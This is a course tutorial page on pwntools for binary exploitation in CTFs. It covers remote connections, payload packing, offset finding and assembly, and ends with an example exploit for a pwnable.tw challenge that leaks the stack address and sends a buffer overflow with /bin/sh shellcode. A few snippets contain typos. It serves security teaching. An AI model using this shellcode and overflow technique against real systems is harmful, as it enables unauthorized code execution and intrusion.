ELEG 467/667

Pentesting & CTF's

View on GitHub

Binary Exploitation

Pwntools

A grab-bag of tools to make writing exploits for CTFs easy!

Install

apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools

Usage

Include in file:

from pwn import *

Making Connections

How to connect to sockets and over ssh:

Netcat
connection = remote(host, port)

# Example:
r = remote('pwn.hsctf.com', 1234)
# Same as 'nc pwn.hsctf.com 1234'
SSH
session = ssh(username, host, password=passwd)

# Example:
s = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
# Same as 'ssh bandit@bandit.labs.overthewire.org'

Interacting with Processes

Now that we’ve connected to the host, how do we interact with it?

Interacting with a remote

r = remote('12.123.45.324', 666) # Connect
r.recvline()			 # Receive next line from remote
r.send("test\r\n")               # Send to remote
r.interactive()                  # Manually interact with remote
...
r.close()			 # Close connection

Interacting with a process

# Connect over ssh to host
s = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')

sh = s.process('/bin/sh')	  # Run shell
# or s.run('sh')

sh.sendline('echo Hello, world!') # Send to shell, appends newline
sh.recvline(timeout=5)	          # Receive line to shell, returns after nothing received for 5 seconds
sh.interactive()		  # Manually interact with shell
...
s.close()                         # Close ssh connection

Setting Target Architecture and OS

You can set the global context so that other functions (such as p32 and asm) default to the correct endianess and architecture:

context.arch      = 'i386'
context.os        = 'linux'
context.endian    = 'little'
context.word_size = 32
contex.log_level = 'debug' # More verbose output, very useful

# or

context(arch='arm', os='linux', endian='big', word_size=32, log_level='debug')

Packing Integers

How to convert between integers as Python sees them and their representation as a sequence of bytes:

# What you will use most often
win = p32(0xdeadbeef) # Packs 32-bit int, endianness and sign based on *context*
# Same as '\xef\xbe\xad\xde' on x86 or arm (little endian)

# Can use other bit sizes and specify endianess and sign
p8(0x54, endian='little', sign='signed'
p16(0x541A, endian='big', sign='signed')
p64(0x541A2B4E28BD541C, endian='big', sign='unsigned')

# Example:
buf = 'A'*20
win = p32(0xdeadbeef) 
payload = buf + win

r.sendline(payload)
r.interactive()

Determining Offsets

Generate a cyclic pattern of characters big enough to overwrite a variable or return address:

cyclic(16)
aaaabaaacaaadaaa

Run the binary with the pattern generated:

./binary aaaabaaacaaadaaa
Jumping to 0x6161616c

Find the offset:

cyclic_find(0x6161616c)
44 # Offset

Assembly and Disassembly

Converting from assembly instructions to byte representations and back:

asm('mov eax, 0').encodde('hex') # 'b800000000'

disasm('6a0258cd80ebf9'.decode('hex'))
#   0:   6a 02                   push   0x2
#   2:   58                      pop    eax
#   3:   cd 80                   int    0x80
#   5:   eb f9                   jmp    0x0

# Example: 
shellcode = asm('\n'.join([   # Shell code that will run /bin/sh when executed
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'xor edx, edx',
    'xor ecx, ecx',
    'mov ebx, esp',
    'mov eax, 0xb',
    'int 0x80']))

payload = "A"*20  + p32(esp + 20) + shellcode 
r.send(payload)
r.interactive()
Shellcode generation - You don’t need to write your own shellcode!

Example Program

from pwn import *

def leak_esp(r):
	address_1 = p32(0x08048087)             # mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80; 
	payload = 'A'*20 + address_1
	print r.recvuntil('CTF:')
	r.send(payload)
	esp = u32(r.recv()[:4])
	print "Address of ESP: ", hex(esp)
	return esp

shellcode = asm('\n'.join([
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'xor edx, edx',
    'xor ecx, ecx',
    'mov ebx, esp',
    'mov eax, 0xb',
    'int 0x80',
]))

if __name__ == "__main__":
    context.arch = 'i386'
    r = remote('chall.pwnable.tw', 10000)
    #gdb.attach(r)
    esp = leak_esp(r)
    payload = "A"*20  + p32(esp + 20) + shellcode 
    r.send(payload)
    r.interactive()

Other Example Programs